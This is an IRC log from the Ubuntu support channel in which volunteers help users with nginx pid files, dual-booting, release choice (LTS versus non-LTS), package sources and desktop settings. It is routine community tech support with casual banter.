| x666MafiA | well that may not be true because the work i was doing required root so it may have just seemed that way | 00:00 |
|---|---|---|
| x666MafiA | where can i look to debug the issue? | 00:00 |
| konserv- | Hello #ubuntu, I have a strange problem with nginx at the moment. When I start the nginx service the pid file reports one pid, but it's not the correct pid. In fact the pid in the pid file doesn't even exist. Running ps aux | grep nginx gives me another pid for the master process | 00:00 |
| konserv- | Because of I can't use the service command to restart, start, stop or check the status | 00:01 |
| konserv- | Has anyone have this problem before? | 00:01 |
| x666MafiA | konserv-, I would say delete the file | 00:01 |
| x666MafiA | konserv-, but thats just a guess ;) | 00:02 |
| konserv- | I'll give it a try | 00:02 |
| reisio | konserv-: stop service, kill by pid, start service | 00:02 |
| zdot | x666MafiA: well, if it segfaults, demsg should contain a note about it | 00:02 |
| reisio | means the service configuration file is imperfect | 00:02 |
| zdot | x666MafiA: also, strace might be helpfull | 00:02 |
| konserv- | Can't really stop the service as such | 00:03 |
| konserv- | Without correcting the pid file | 00:03 |
| x666MafiA | zdot, tnx ill give shot and report back | 00:03 |
| konserv- | Still I'll try stopping it and deleting | 00:03 |
| rance | I have a minimal ubuntu box that I installed lxde on and use startx to run. what is the dpkg-reconfigure command to select a different environment for use with startx? | 00:03 |
| zdot | rance: i think you should use .xinitrc for it | 00:05 |
| konserv- | reisio, x666MafiA: Stopped, deleted and restarted. Pid says 3710, master process is 3731 | 00:05 |
| konserv- | Weird | 00:05 |
| x666MafiA | got me ;) | 00:06 |
| === GingerGeek[Away] is now known as GingerGeek | ||
| reisio | konserv-: kill -9 3731 && kill -9 3710 | 00:07 |
| konserv- | reisio: The 3731 process is not running. ps aux | grep 3710 returns nothing | 00:08 |
| konserv- | Could it still be running? | 00:08 |
| zdot | ok guys, i think it's time for zzzs, bbl | 00:08 |
| xeeder | sup guys | 00:08 |
| reisio | konserv-: kill what's running, stop the service, start the service | 00:08 |
| xeeder | i am new to this whole linux concept; so i need your help | 00:09 |
| konserv- | reisio: I have tried that, I just realised something else though going to try it, | 00:09 |
| xeeder | there are 2 versions available at ubunto web; LTS and latest one. which should i install? | 00:10 |
| konserv- | reisio: I figured it out, I'll explain in a few seconds | 00:10 |
| dhyana | hi | 00:11 |
| xeeder | there are 2 versions available at ubunto web; LTS and latest one. which should i install? | 00:11 |
| vemacs | do you want long-term support? | 00:12 |
| vemacs | or do you prefer to be on the cutting edge? | 00:12 |
| reisio | dhyana: hi | 00:12 |
| reisio | xeeder: doesn't matter, you shouldn't be waiting years between updates | 00:12 |
| reisio | get the latest | 00:12 |
| xeeder | i have never used anything but windows; so which should i instal? | 00:13 |
| reisio | xeeder: mmm, that depends | 00:13 |
| reisio | xeeder: do you want something more like Windows, or less? | 00:13 |
| xeeder | reisio: ofc something like windows | 00:13 |
| reisio | in appearance, that is | 00:13 |
| reisio | xeeder: okay, go with Kubuntu, then | 00:13 |
| xeeder | yeah thats what i meant | 00:13 |
| reisio | whatever the latest version you can get it should be fine | 00:14 |
| konserv- | reisio: Previously I had troubles with no pid being created, turns out that the pid is of course created at a path configured by nginx and not by what you pass for the --pidfile argument to start-stop-daemon. I had missed that and added --make-pidfile which of course made it write the wrong pid to the correct location | 00:14 |
| konserv- | Changed the pidflocation in the init.d script to correspond to nginx and it works. | 00:14 |
| konserv- | reisio, x666MafiA: Thanks for the help | 00:14 |
| reisio | g | 00:15 |
| reisio | j | 00:15 |
| x666MafiA | "i need help trouble shooting my sys, i have both nemo and nautilus file managers installed, when i run either as gksudo/gksu they both constantly crash." Ok here is the output: http://pastebin.com/Z5XsNQ3t | 00:15 |

| xeeder | but in the mean time i do want to learn linux too and i figured the best way to go about this is to install and use it first; i dont think i need everything ready and served on plate; i like clean OS installation and then i install applications which i need. | 00:15 |
| Mega1 | any help with my error http://paste.ubuntu.com/6121542/ | 00:16 |
| xeeder | thats how i have been doing it on windows for years; clean msdn install; clean office install; clean codecs; clean everything *so that no bloatware gets on my lappy* | 00:17 |
| lapt0p_ | I get a weird PDF Reader behavior. It used to open the same file, without any errors, and not it opens it in such a way that i can read half of the written text in the document. I tried installing various PDF readers, but the same happens with every of them. Any ideas? Thanks in advance. | 00:17 |
| arayaq | Mega1: have you tried -f flag? | 00:18 |
| xeeder | that 9 month version; does it stop working after 9 months or what? | 00:19 |
| reisio | xeeder: doesn't matter, you should update long before that | 00:19 |
| xeeder | by update you mean reinstallation right? | 00:19 |
| arayaq | P | 00:20 |
| xeeder | or like updates as in windows update; automatic and on its own? | 00:20 |
| lapt0p_ | I get a weird PDF Reader behavior. It used to open the same file, without any errors, and not it opens it in such a way that i can read half of the written text in the document.

| SyloSybin | In order to install a package I am required to install a bunch of other ones, is there a way to do that simply? (total Linux noob here, trying to learn.) | 00:22 |
| hexacode | anyone know a terminal based email client? im wanting to get into multiple email accounts via imap, but i need scripts to run on those emails...so im looking for one thats scriptable or at least hackable via pipes..and can take commands to do certain things, like download attachment from X | 00:22 |
| reisio | SyloSybin: without a network connection, you mean? | 00:23 |
| xeeder | which mediaplayer will i choose after installation? i am currently using homecinema with madvr (LAV codecs); will that be available in linux? | 00:23 |
| xeeder | ubuntu* | 00:23 |
| SyloSybin | I'm not sure what you mean, I have a network connection | 00:23 |
| reisio | hexacode: sendmail / fetchmail ? | 00:24 |
| reisio | SyloSybin: then the package manager should take care of deps | 00:24 |
| xeeder | and how would i know that program is for that thing? i mean where should i get my applications? | 00:25 |
| SyloSybin | Ah thank you reisio | 00:26 |
| xeeder | and how would i be able to tell the difference between good ones and bad ones? i dont like hit and trial as i already have corrupted a desktop by installing windows multiple times | 00:26 |
| xeeder | so i dont want same with ubunto | 00:27 |
| lapt0p_ | I get a weird PDF Reader behavior. It used to open the same file, without any errors, and not it opens it in such a way that i can read half of the written text in the document.

| xeeder | <xeeder> that 9 month version; does it stop working after 9 months or what? | 00:28 |
| xeeder | <reisio> xeeder: doesn't matter, you should update long before that | 00:28 |
| x666MafiA | "i need help trouble shooting my sys, i have both nemo and nautilus file managers installed, when i run either as gksudo/gksu they both constantly crash." Ok here is the output: http://paste.ubuntu.com/6121798/UPDATE*** Got rid of first set of errors, issue with seahorse plugin for nemo*** Here is latest http://paste.ubuntu.com/6121796/ | 00:28 |
| xeeder | reisio what does that mean?>>> "you should update long before that" | 00:29 |
| upd | xeeder, just download normal ubuntu and test it | 00:29 |
| xeeder | should i reinstall ubunto every 9 months? | 00:29 |
| upd | no. | 00:29 |
| Mega1 | arayaq yes i have tried the -f flag | 00:29 |
| LjL | xeeder: no, you can upgrade to a new release without reinstalling. still, you should consider using an LTS (Long Term Support) version, which is supported for longer than 9 months. | 00:29 |
| LjL | xeeder: as to the "apps", the safe choice is to only use the many that can be found in the official Ubuntu repositories (that is, in Software Center or using the program "apt-get" or equivalents) | 00:30 |
| xeeder | Thanks LjL :) finally! | 00:31 |
| Kenjamin | ejv: i dont want to install grub, i just want to install linux to a seperate hard drive and be able to boot to that HD without it touching the MBR | 00:31 |
| Kenjamin | will it do that if i just install it to a seperate HD without partitioning the windows HD? | 00:31 |
| reisio | xeeder: you shouldn't ever "reinstall" | 00:31 |
| reisio | xeeder: and you don't need specifically a long term support release, because no system should be that stagnant | 00:31 |
| reisio | not even a server | 00:31 |
| xeeder | ok getting a new release | 00:32 |
| LjL | reisio: so are you basically saying that the LTS releases exist for nothing, and also, that there are no circumstances under which a reinstall is the best choice? | 00:32 |
| xeeder | thank you all | 00:32 |
| Axlin | xeeder: The LTS versions are supported for 5 years, with new versions coming out every 2 years. That's the way to go if you don't want to upgrade fequently. | 00:32 |
| hdon | hi all :) what indicator applet can monitor and control CPU frequency? | 00:32 |
| LjL | reisio: the fact you don't have to reinstall doesn't mean a distribution upgrade isn't a little more inconvenient than just "automatic updates". it's still mostly automatic, but kind of a bigger deal | 00:33 |
| LjL | err, xeeder | 00:33 |
| xeeder | <LjL> reisio: so are you basically saying that the LTS releases exist for nothing, and also, that there are no circumstances under which a reinstall is the best choice? | 00:33 |
| xeeder | just wondering what would be the answer to that^? | 00:33 |
| Axlin | xeeder: The answer is that the LTS versions exist for those who want a stable, more long-term OS. They receive continual support for 5 years from their release date. | 00:35 |
| eezstreet | i need help | 00:35 |
| xeeder | like a windows xp user gets sp1, sp2 and sp3? am i right? | 00:35 |
| eezstreet | i am trying to dual boot ubuntu on a primarily windows machine | 00:35 |
| former | 我用wubi在Win8下安装ubuntukylin通过修改info文件成功安装了但在重启后进入系统时提示wubildr.mbr 错误 状态是0xc000007b 请问改怎么解决？ | 00:35 |
| eezstreet | two partitions | 00:35 |
| xeeder | for the span of 2-3 years | 00:35 |
| eezstreet | the ubuntu partition being 100GB, windows taking up 400GB | 00:36 |
| LjL | !cn | former | 00:36 |
| ubottu | former: 如欲獲得中文的協助，請輸入 /join #ubuntu-cn 或 /join #ubuntu-tw | 00:36 |
| eezstreet | problem | 00:36 |
| xeeder | but OS remains same? | 00:36 |
| eezstreet | when i installed ubuntu | 00:36 |
| eezstreet | i didn't select side-by-side booting | 00:36 |
| eezstreet | so how can i now get windows to boot again | 00:36 |
| eezstreet | or does that require a reinstall :/ | 00:36 |
| LjL | xeeder: not really like that. both LTS and non-LTS versions of Ubuntu receive constant updates (for security issues, for instance - generally not for actual new versions of programs, mind) | 00:36 |
| mshadle | anyone here do any prompt-less php apt installs (so it doesn't ask for php.ini overwrites)? i see no debconf-get-selections PHP options... i see a note about php.ini but no key/value/type to use... even google isn't helping | 00:36 |
| LjL | xeeder: it's just... non-LTS receives them for 9 months, LTS receives them for 5 years | 00:36 |
| xeeder | LjL what would you choose? if given the options of LTS and non-LTS? | 00:37 |
| eezstreet | i really need help | 00:38 |
| LjL | xeeder, the issue is a bit different from the way it's like on Windows, because on Ubuntu, contrary to Windows, the version of the *OS* you have is somewhat tied to the versions of the *applications* you will have, since the applications are from the Ubuntu repositories | 00:38 |
| LjL | xeeder: i generally tend to use LTS. i used LTS even when the support term for non-LTS wasn't this short, so even more now | 00:38 |
| dr_willis | xeeder: if you have a very new laptop. you may want to try the nonlts/latest releases. since the laptop may be better supported in it. | 00:40 |
| dr_willis | xeeder: it all depends on your needs | 00:40 |
| reisio | xeeder: yes to lts, there _should_ be no reason to reinstall, short of changing arch | 00:40 |
| reisio | xeeder: realistically if you break the system well enough that reinstallation takes less time than just fixing it... :p | 00:41 |
| lapt0p_ | I get a weird PDF Reader behavior. It used to open the same file, without any errors, and not it opens it in such a way that i can read half of the written text in the document. I tried installing various PDF readers, but the same happens with every of them. Any ideas? Thanks in advance. | 00:41 |
| xeeder | i am using i5 2nd gen based laptop; my needs are browsing, music, movies, and office/programming | 00:42 |
| dr_willis | lapt0p_: you sure the file is not currupted? do other pdfs work? | 00:42 |
| dr_willis | xeeder: how okd is it? | 00:43 |
| dr_willis | old | 00:43 |
| lapt0p_ | dr_willis: What do you mean by "corrupted" ? | 00:43 |
| former | i was installed ubuntukylin by wubi, but when going into the os, it was told me wubildr.mbr has a error status is 0xc000007b,how to make it? | 00:43 |
| king-crimson_ | D | 00:43 |
| LjL | xeeder: you could always get the latest LTS and then, if you decide you prefer something more bleeding-edge, upgrade from inside it | 00:43 |
| dr_willis | lapt0p_: the file may be screwed up | 00:43 |
| xeeder | well its n5110 | 00:43 |
| HackerII | i agree with LjL | 00:43 |
| lapt0p_ | dr_willis: It used to work fine, i don't know what happened. Other PDF's work fine btw. | 00:43 |
| dr_willis | xeeder: 1yr old? 2 yr? | 00:44 |
| LjL | xeeder: note that if you have an LTS, you can upgrade to the next LTS directly (when that's out); if you have a non-LTS, on the other hand, you can only upgrade to the version immediately next - so long upgrades are... long | 00:44 |
| dr_willis | lapt0p_: that dosent mean its not gotten messed up somehow | 00:44 |
| Sach | Trying to install facebook-rss from the Software Centre. I get the message "dependency is not satisfiable: python (<2.7)" | 00:44 |
| lapt0p_ | Why would someone bother that much if the version he is installing is LTS or non - LTS | 00:44 |
| xeeder | will my old applications work? or will i have to install new applications everytime i get an upgrade? | 00:44 |
| === kenneth is now known as Guest75335 | ||
| lapt0p_ | dr_willis: What could've happened? | 00:44 |
| reisio | LTS doesn't really mean more stable, though, it just means you can carelessly put off upgrading it for a longer duration | 00:45 |
| reisio | lapt0p_: there is no good reason :) | 00:45 |
| LjL | xeeder, the applications will be part of the upgrade, unless you have applications not from the repositories, in which case you're mostly on your own | 00:45 |
| xeeder | and on LTS i get to use old applications for 5 years; i cant upgrade applications? since you said old releases are somewhat linked into the applications, reisio | 00:46 |
| dr_willis | lapt0p_: have some others un here look at the file. see if it works for them | 00:46 |
| LjL | reisio seems to have a lot of subjective and baseless opinions he feels the need to share with a support channel like this one, i guess i'll go to bed and let him continue | 00:46 |
| lapt0p_ | dr_willis: Some other "un" ? | 00:46 |
| Axlin | xeeder: You get application updates in LTS versions as well. It's mostly the general OS features which differ. LTS versions maintain a fairly constant feature set for the sake of stability. Your applications like Firefox and such will receive updates, though. | 00:48 |
| Guest75335 | samba server on ubuntu 12.04, moving 309.9GBs to Mint desktop = 5 hours to do, over GB network, does that sound right ??? | 00:48 |
| vinceableworld | Can someone tell me the best movie maker for ubuntu? | 00:49 |
| poee | hi. I have both kde and gnome installed on my computer, but firefox uses nautilus(gnome) for opening folders. I d like to change this to dolphin(kde). how do I do this? | 00:49 |
| reisio | xeeder: there's no application worth using that is going to disappear without being replaced by something obviously superior | 00:49 |
| HackerII | xeeder for what you described as using your system for, 12.04 lts would prolly suit you just fine, its what i use | 00:49 |
| reisio | xeeder: like hugely obviously | 00:49 |
| reisio | the whole point of free software is to keep the software you like, forever, for as long as anyone is willing to maintain it | 00:49 |
| reisio | so the only thing that kills software is BETTER software | 00:50 |
| reisio | and therefore there is no reason to put off updating for five years, or even a month, or a week, or two days | 00:50 |
| timClicks | hi there, I am try to submit print jobs to an SMB server. I need to send username:password that is different from my local user account. The authentication dialog that pops up when I submit a job doesn't seem to respect the credentials that I'm sending through | 00:51 |
| vinceableworld | new to ubuntu - tryin to get comfortable - keep goin back to windows... | 00:51 |
| vinceableworld | I need a decent movie maker. | 00:51 |
| reisio | the point of LTS is to give people the opportunity to be lazy :p it doesn't serve a _good_ purpose, it serves a _comforting_ purpose | 00:51 |
| reisio | </rant> | 00:51 |
| lapt0p_ | vinceableworld: Just don't quit, struggle with it some time, you'll see how it'll become better than Windows, you just need time to get the "general image" :) | 00:52 |

| Guest75335 | yeah ubuntu kinda sucks try linux mint with cinnamon desktop | 00:52 |
| Axlin | reisio: What are you talking about? LTS versions exist for the sake of stability, which is perfect for most people, and they do receive updates just like any other version. Laziness has nothing to do with it. | 00:52 |
| Sach | Trying to install facebook-rss from the Software Centre. I get the message "dependency is not satisfiable: python (<2.7)" | 00:52 |
| lapt0p_ | And yes, Ubuntu is over-tailored in my opinion. I use Lubuntu | 00:52 |
| xeeder | "If you want the "latest and greatest", use the in-between releases, but be prepared to upgrade every six months or so and suffer frequent teething problems. –" | 00:53 |
| xeeder | taken from forums^ | 00:53 |
| HackerII | you got it | 00:53 |
| Axlin | xeeder: Exactly. Non-LTS versions are released every 6 months, and only supported for 9 months. Unless you want to go upgrading about twice a year, stick with LTS, and you'll be just fine. | 00:53 |
| Guest75335 | Lubuntu humm never tried it checking it out now | 00:53 |

| reisio | in fact most software is _updated_ / developed for the sake of stability | 00:54 |
| reisio | xeeder: six months is a very long time, you should be upgrading every day | 00:54 |
| lapt0p_ | It's minimalistic, with the LXDE Desktop environment | 00:54 |
| reisio | xeeder: and they're probably talking about brand new Ubuntu-specific Unity issues, not general OS stuff | 00:54 |
| upd | wow i will also try lubuntu seems perfect for acer aspire one, ubuntu is kindoff slow | 00:55 |
| xeeder | reisio what do you mean by upgrade? bug fixes or reinstall a newer OS over an old because i cant do the later one every now and then. | 00:55 |
| dr_willis_ | upd: i use lubuntu and xubuntu in my netbooks | 00:55 |
| dr_willis_ | xeeder: a reinstall can be faster in some cases | 00:56 |
| upd | cool so which one should i go for lubuntu or xubuntu | 00:56 |
| reisio | xeeder: likes I said, you never want to reinstall, unless you've broken your system so much it takes longer to fix it than reinstall | 00:56 |
| dr_willis_ | and reinstallung ubuntu is a lot easier than reinstalling windows | 00:57 |
| reisio | upd: is that a netbook? | 00:57 |
| upd | yes | 00:57 |
| Axlin | xeeder: By "upgrade" i meant upgrade to the new version of Ubuntu every 6-9 months, because that's what you'll have to do if you go with a non-LTS version. With LTS versions you can go as far as 5 years between OS upgrades | 00:57 |
| reisio | dr_willis_: is it? | 00:57 |
| reisio | getting your software back is easier, that's true | 00:57 |
| reisio | but it's to be avoided regardless of OS | 00:57 |
| xeeder | Axlin thanks; looks like i missed it :) | 00:57 |
| dr_willis_ | reisio: yes. ubuntu perhaps 2 hrs.. windows took me 2 days last time :-P | 00:58 |
| xeeder | can i dual boot windows 8.1 x64 with it? it has its start button back so.. :p | 00:59 |
| Axlin | Yes | 00:59 |
| xeeder | both OSes can be on same drive or they have to be different? | 01:00 |
| dr_willis_ | same drive... difernet partitions. | 01:00 |
| vemacs | they can be on the same drive | 01:00 |
| dr_willis_ | easier if you have 2 seperate hard drives | 01:00 |
| dr_willis_ | can be a LOT easier with 2 hard drives | 01:01 |
| xeeder | i dont think my laptop can have 2 drives at once; as this option may be more suitable for non-laptop users | 01:02 |
| reisio | xeeder: http://classicshell.sf.net/ | 01:02 |
| linuxuz3r | where else can i find linux blogs | 01:02 |
| Sach | Trying to install facebook-rss from the Software Centre. I get the message "dependency is not satisfiable: python (<2.7)" | 01:02 |
| dr_willis_ | xeeder: my last laptop had 2 hard drives. ;) it was a big laptop.. | 01:02 |
| Jeruvy | xeeder one advantage is you don't have to worry about dual boot (grub UEFI) issues if you use 2 drives. | 01:02 |
| jrib | Sach: that's a pretty weird dependency... | 01:03 |
| dr_willis_ | it wants python 'Less' then version 2.7 ? is 2.6 even in the repos any more? | 01:03 |
| jrib | Sach: anyway, pastebin output of « sudo apt-get update && apt-cache policy facebook-rss python » | 01:03 |
| Ari-Yang | xeeder, dual booting...it can be done, you just need to put plenty of effort into the setup you want is all | 01:03 |
| jrib | dr_willis_: 2.7 should be backwards compatible which is why it seems weird | 01:04 |
| dr_willis_ | jrib: i always seem to see people asking how to have old versions isntalled at the same time - I dont python much. so no idea on version differances | 01:04 |
| SyloSybin | is there a text editor I can use that meant for coding? Like one that assists with code standards and such. | 01:04 |
| xeeder | how much space should i allot to linux partition? and which format should i use for that? | 01:04 |
| dr_willis_ | xeeder: also be suree to have a dvd-recovery disk set made up for your windows system just in case you need to totally reinstall windows. | 01:04 |
| dr_willis_ | xeeder: the installer will suggest ext4. and a workable system can be on as small as 20gb. id suggest 40+gb. | 01:05 |
| Sach | jrib: http://pastebin.com/FBbbLU2S | 01:05 |
| dr_willis_ | you get smaller then 20gb and you can fill things up quickly | 01:05 |
| xeeder | i am pretty good with windows :p so even if corrupts i would install a new one; its linux which is a mystery to me :D | 01:05 |
| dr_willis_ | xeeder: toy with ubuntu or lubuntu in virtualbox - is an easy way to go through the steps with no risk | 01:06 |
| jrib | Sach: start by fixing your sources.list | 01:06 |
| reisio | xeeder: corrupts, reinstalll, these are Windows things :p | 01:06 |
| chsados | if i burn the 13.04 iso can i update from 12.04 without losing apps and user data? | 01:06 |
| dr_willis_ | chsados: you need to do 12..04 -> 12.10 -> 13.04 | 01:07 |
| chsados | ahh thats no fun | 01:07 |
| dr_willis_ | LTS -> lts or nonlts---> each release in btween | 01:07 |
| kostkon | chsados, wait till april and you'll be able to do 12.04 -> 14.04 | 01:07 |
| chsados | too impatient :D ill just go through the motions | 01:08 |
| kostkon | ok then :/ | 01:08 |
| dr_willis_ | chsados: and 13.10 is due out like.. next month. ;) | 01:08 |
| chsados | is 13.1 an LTS? | 01:08 |
| dr_willis_ | chsados: no. | 01:09 |
| Axlin | The next LTS will be 14.04 | 01:09 |
| chsados | ahh | 01:09 |
| reisio | it doesn't matter, because you don't need an LTS :) | 01:09 |
| dr_willis_ | 14.04 is... recall the LTS --> LTS upgrade path. ;) | 01:09 |
| Ari-Yang | which is due april 2014 | 01:09 |
| reisio | not particularly, that is | 01:09 |
| chsados | april 2014? | 01:09 |
| Ari-Yang | no, DECEMBER! | 01:09 |
| chsados | ahh i get the naming convention now | 01:09 |
| Ari-Yang | :D | 01:09 |
| jrib | Sach: have you removed the unavailable ppa from your sources? | 01:09 |
| dr_willis_ | version # is the date./ year/month of release | 01:09 |
| reisio | and the fourteenth month is octagon | 01:09 |
| chsados | thats smart much better than windows naming convention :P | 01:10 |
| Sach | jrib: still trying to figure out how. | 01:10 |
| Guest75335 | no it's never coming out 13.10 release was canceled | 01:10 |
| dr_willis_ | chsados: phht.. go reinstall Windows 8 Ultimate Supreme Home Light edition! and be done witth it | 01:10 |
| dr_willis_ | ;) | 01:10 |
| jrib | Sach: find the file (either /etc/apt/sources.list or some file in /etc/apt/sources.list.d/) and delete the lines that correspond to it (or use the Software Sources program) | 01:10 |
| xeeder | thank you dr_willis_, reisio, Axlin and anyone who helped me in here! will see you here after it finishes :p and most important thing i forgot; what should i do for drivers? | 01:12 |
| Ari-Yang | xeeder, ubuntu should automatically get your drivers for you... | 01:13 |
| xeeder | i have an nvidia GT525M video card; will it work? | 01:13 |
| andrej | is there a way to display which security fixes are available, rather than seeing all updates, or just the number of security fixes? | 01:13 |
| jrib | andrej: comment out the non-security repos | 01:13 |
| kill_jacob | i hate how ubuntu puts the close button on the left side of the title bar is there any way to change that? | 01:14 |
| reisio | xeeder: chances are everything will 'just work' | 01:14 |
| reisio | xeeder: if something doesn't, just come here | 01:14 |
| jrib | andrej: you can also do an aptitude search but aptitude isn't default | 01:14 |
| wilee-nilee | kill_jacob, yes dcon-editor | 01:14 |
| wilee-nilee | dconf* | 01:14 |
| mrrcp | will irssi now let you autojoin two channels on the same network? | 01:14 |
| mrrcp | not | 01:14 |
| jrib | mrrcp: of course it will | 01:14 |
| mrrcp | hmm | 01:15 |
| andrej | jrib - i do have aptitude installed ... what's the magic incantation? Your first suggestion won't work if I already did an aptitude update, right? | 01:15 |
| kill_jacob | just have to use the right delimitter | 01:15 |
| jrib | andrej: well you can just comment and then update again | 01:15 |
| jrib | !aptitude | 01:15 |
| ubottu | aptitude is another terminal-based front-end to APT. You may encounter problems on multiarch installs (11.10 and 12.04) as aptitude cannot handle the same package with different architectures being installed at the same time. See http://pad.lv/831768 for more information. | 01:15 |
| xeeder | ok sure :) Thanks everyone! you guys are doing alot for this community! i hope i will be part of this process :) cya | 01:15 |
| jrib | andrej: http://algebraicthunk.net/~dburrows/projects/aptitude/doc/en/ch02s03s05.html don't know offhand the exact incantation | 01:16 |
| mrrcp | so jrib whats the proper way to do it? | 01:16 |
| mrrcp | i show /channels list i show both chans tied to both networks but it will not join both | 01:16 |
| jrib | andrej: probably: http://algebraicthunk.net/~dburrows/projects/aptitude/doc/en/ch02s03s05.html#searchSection | 01:16 |
| jrib | mrrcp: i have not used irssi in years; try #irsii | 01:16 |
| jrib | mrrcp: (but spell it right) | 01:17 |
| jrib | andrej: or origin | 01:17 |
| dr_willis_ | just /join #chahnnel /join #channel2 should join 2 channels | 01:18 |
| dr_willis_ | if you want them both SEEN at the same time. in a split window. thats a differnt story | 01:19 |
| wilee-nilee | kill_jacob, if needed, http://handytutorial.com/move-window-buttons-to-right-in-ubuntu-12-10-12-04/ | 01:19 |
| jrib | mrrcp: or archive <-- I think this is the right one | 01:19 |
| kill_jacob | thanks wilee, i'm using the dconf-editor from dconf-tools package, so i'll need to read up on that | 01:20 |
| gooligan | hey folks, whats the noob channel? | 01:20 |
| jrib | mrrcp: this seems to work for me: aptitude search '~Araring-security~U' | 01:20 |
| reisio | gooligan: this here | 01:21 |
| mrrcp | ahh | 01:22 |
| mrrcp | i wasnt /save 'ing the conf | 01:22 |
| mrrcp | duh! | 01:22 |
| jrib | andrej: this seems to work for me: aptitude search '~Araring-security~U' | 01:22 |
| chiques | I have the 64 bit version of Ubuntu and it does not have the "Reinstall 13.04" option as described on http://askubuntu.com/questions/317501/ubuntu-13-04-clean-install-over-other-ubuntu-13-04 . Does anyone have any suggestions? | 01:25 |
| mnemonicj | i'm running ubuntu server with gnome-classic gui, sometimes i need to run programs as root to make changes. i was reading gksu is no longer recommended | 01:25 |
| mnemonicj | what alternative do i have? | 01:25 |
| lotuspsychje | chiques: what options Do you see? | 01:26 |
| jrib | mnemonicj: you can use gksudo or gksu I guess. What changes are you making exactly? | 01:26 |
| mnemonicj | i'm trying to change the server where to download updates from | 01:26 |
| mnemonicj | currently it's set to usa, but i live in Asia | 01:26 |
| mnemonicj | i can access the interface to make the change, but when i apply changes they stay the same | 01:27 |
| mnemonicj | jrib: ^ | 01:27 |
| chiques | lotuspsychje, I see the options shown on http://askubuntu.com/questions/291376/how-to-reinstall-ubuntu-13-04-raring-ringtail-safely | 01:27 |
| chiques | lotuspsychje, problem is I don't understand that document. | 01:28 |
| jrib | mnemonicj: how are you accessing it? | 01:28 |
| kill_jacob | what would the application menu integration with the panel be called? | 01:28 |
| lostinubuntu | I have a hp mini 210 1076nr netbook crap but heck 20 dollars and a new keyboard I save it I would like to run ubuntu so far ubuntu 10.10 was the fastest and other then it doesnt allow me to install anything due to the end of life I am guessing? or is there a way around that | 01:28 |
| mnemonicj | jrib: i go to "Applications/System Tools/Preferences/Software & Updates" | 01:28 |
| lotuspsychje | chiques: you dont mind erasing all your current /home data? | 01:28 |
| aleza84 | any idea where can i debug why conky works on terminal but not on desktop? | 01:29 |
| jrib | mnemonicj: where does gksu come in?= | 01:29 |
| lotuspsychje | lostinubuntu: lubuntu or xubuntu maybe? | 01:29 |
| dr_willis_ | aleza84: you mean auto starting it? | 01:29 |
| chiques | lotuspsychje, No, it's a new install so I don't care about wiping the /home folder. I do care about keeping my paritions thought. I have XP installed and I don't enjoy installing that system over and over again | 01:29 |
| mnemonicj | jrib: i'm guessing, it'll allow me to run these gui programs as root? | 01:29 |
| lotuspsychje | chiques: then choose erase disk and install ubuntu, it will reinstall 13.04 clean | 01:30 |
| jrib | mnemonicj: I suggest you just do this from the terminal; it's a server anyway | 01:30 |
| lostinubuntu | ok can you theme them the same way as the main one | 01:30 |
| mnemonicj | yes | 01:30 |
| aleza84 | dr_willis_, It used to show everything on desktop but now It doesnt (when I run conky on terminal it shows the data on terminal, but not on the desktop) | 01:30 |
| chiques | lotuspsychje, I was hoping not to do that. That will wipe my other partitions. | 01:30 |
| mnemonicj | jrib: thanks | 01:30 |
| lostinubuntu | I wasnt trying to have to learn all this stuff over | 01:30 |
| lotuspsychje | chiques: ah you want to keep xp? | 01:31 |
| chiques | lotuspsychje, | 01:31 |
| dr_willis_ | aleza84: try with a default .conkyrc setup. could be a weird config. or it could be conky is below the desktop window for some reason | 01:31 |
| chiques | yes | 01:31 |
| chiques | lotuspsychje, yes | 01:31 |

| gooligan | noob question: using Xchat-Gnome, how can i bring up the user list that would normally appear on the right of my chat box? | 01:32 |
| chiques | lotuspsychje, uuugh, I was hoping I wouldn't have to do that. | 01:32 |
| dr_willis_ | gooligan: most people quickly dump xchat-gnome and use the normal xchat. | 01:32 |
| lotuspsychje | gooligan: preferences, show userlist | 01:32 |
| chiques | lotuspsychje, I'm going to try to check the format box of my Ubuntu 13.04 /sda parition and reinstall. | 01:32 |
| lotuspsychje | chiques: you have any packages on xp you dont find on ubuntu? | 01:33 |
| lostinubuntu | cant you still add repos to ubuntu 10.10 and install things that way | 01:33 |
| jrib | !10.10 | lostinubuntu | 01:33 |

| chiques | lotuspsychje, I have some engineering CAD software that will only run on XP so I need it at least for that. | 01:34 |
| jrib | lostinubuntu: end of life means there are no more security updates; you should upgrade to a supported release ASAP! | 01:34 |
| lotuspsychje | chiques: there is playonlinux for ubuntu, that can run CAD software as smooth as xp | 01:34 |

| vinceableworld | any particular reason I do "ls" and see a directory... but then "cd" and can't change to it? | 02:06 |
| trism | vinceableworld: what are the permissions on the directory? | 02:07 |
| vinceableworld | not sure... it's a user directory on my windows drive | 02:08 |
| vinceableworld | wait no... it's just the home directory | 02:08 |
| vinceableworld | folder in the home directory | 02:08 |
| trism | vinceableworld: ls -l will show you the permissions | 02:09 |
| vinceableworld | ah ty | 02:09 |
| vinceableworld | drwxr-xr-x | 02:10 |
| vinceableworld | Why would it list the directory but then say "no such directory?" | 02:11 |
| trism | vinceableworld: looks fine, not sure. I thought maybe it was -x for some reason | 02:11 |
| vinceableworld | I list it... there it is... I try to change to it... can't. | 02:12 |
| vinceableworld | i can't change to any directory for that matter weird? | 02:13 |
| [1]Roach | I'm buying the Desktop DVD from the website, and I have windows 8, should I buy the server CD instead | 02:13 |
| dr_willis_ | whats the directory name? | 02:13 |
| vinceableworld | doesn't matter... I can't switch to any of them | 02:13 |
| vinceableworld | Downloads | 02:13 |
| dr_willis_ | [1]Roach: buy? they are free | 02:13 |
| dr_willis_ | vinceableworld: you are using the proper CASE ? downloads is not Downloads | 02:14 |
| dr_willis_ | use tab key to complete the name | 02:14 |
| vinceableworld | yup (knew that was coming) | 02:14 |
| dr_willis_ | does your current user own the dirs? ls -l shows the owners | 02:14 |
| [1]Roach | I know but I have trouble using a usb | 02:14 |
| dr_willis_ | [1]Roach: you can burn the isos if you wanted. theres dozens of tools to put them on usb. Pendrivelinux site has several | 02:15 |
| [1]Roach | ok, I just found a case of CD's in my office | 02:15 |
| vinceableworld | yup says it's mine obviously (only me here) | 02:16 |
| dr_willis_ | ubuntu wantss a DVD.. lubuntu i think still fits on a cd | 02:16 |
| dr_willis_ | vinceableworld: ive seen things get owned by root by mistake befor | 02:16 |
| vinceableworld | I got it | 02:16 |
| vinceableworld | was putting the slash in | 02:16 |
| RudyValencia | I updated my system and now lightdm won't start | 02:17 |
| ObrienDave | Xubuntu iso needs a DVD | 02:17 |

| RudyValencia | it's a VMware virtual machine, any reason why? | 02:17 |
